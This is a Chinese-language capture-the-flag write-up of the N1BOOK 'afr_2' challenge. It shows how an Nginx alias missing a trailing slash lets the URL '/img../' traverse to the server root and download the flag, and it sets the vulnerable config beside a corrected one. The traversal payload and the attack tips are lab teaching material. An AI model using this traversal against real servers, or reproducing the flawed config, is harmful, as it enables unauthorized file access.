
Writeup 4 N1BOOK afr_2解题过程访问靶机http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/靶机首页源码htmlheadtitleu1s1/title/headbodyHELLO!imgsrcimg/img.gif/body/html发现目录img访问该路径http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img/页面显示Index of /img/ ../ img.gif 09-Nov-2020 08:17 456384img.gif 就是靶机首页上跳舞的图片。这意味着服务器开启了目录浏览功能。我们就可以尝试利用 Nginx 的“目录穿越”漏洞。尝试用常规的../去访问上一级目录比如/img/../发现被服务器拦截或返回 404。但是这道题的关键在于Nginx 在配置别名alias时少写了一个斜杠/导致存在目录穿越漏洞。正确的 Payload 是把..直接拼在目录名后面去掉中间的斜杠/img../访问这个 URL就能成功穿越到网站的根目录看到服务器根目录下的所有文件列表。在列表的底部可以找到一个名为flag的文件。尝试访问http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img../页面显示Index of /img../ ../ bin/ 23-Jan-2020 14:36 - dev/ 07-Oct-2026 04:11 - etc/ 07-Oct-2026 04:11 - home/ 23-Jan-2020 14:36 - lib/ 23-Jan-2020 14:36 - media/ 23-Jan-2020 14:36 - mnt/ 23-Jan-2020 14:36 - opt/ 23-Jan-2020 14:36 - proc/ 07-Oct-2026 04:11 - root/ 23-Jan-2020 14:36 - run/ 07-Oct-2026 04:11 - sbin/ 23-Jan-2020 14:36 - srv/ 23-Jan-2020 14:36 - sys/ 07-Oct-2026 04:11 - tmp/ 09-Nov-2020 08:17 - usr/ 23-Jan-2020 14:36 - var/ 29-Feb-2020 20:29 - flag 07-Oct-2026 04:11 21看到了flag文件很自然访问http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img../flag浏览器自动下载文件flag用记事本打开得到flagn1book{afr_2_solved}核心知识点⚠️ CTF 重点alias的斜杠问题如果location和alias的末尾斜杠不匹配就会产生目录穿越漏洞即afr_2的考点。有漏洞的配置location无斜杠alias有斜杠location /img { alias /var/www/html/img/; }访问/img../flag时Nginx 将../flag拼接到/var/www/html/img/后面解析为/var/www/html/flag成功穿越到上一级。安全的配置两者都有斜杠location /img/ { alias /var/www/html/img/; }CTF 实战中的意义当我们遇到 Nginx 靶机时重点关注有没有alias如果靶机有静态资源目录如图片、上传文件可能用了alias尝试/目录名../穿越。autoindex是否开启如果某个目录能直接列出文件看看有没有flag或源码文件。location的匹配如果某个后缀被限制如.php不能访问看看能不能用路径穿越或编码绕过。Rambo2026年10月07日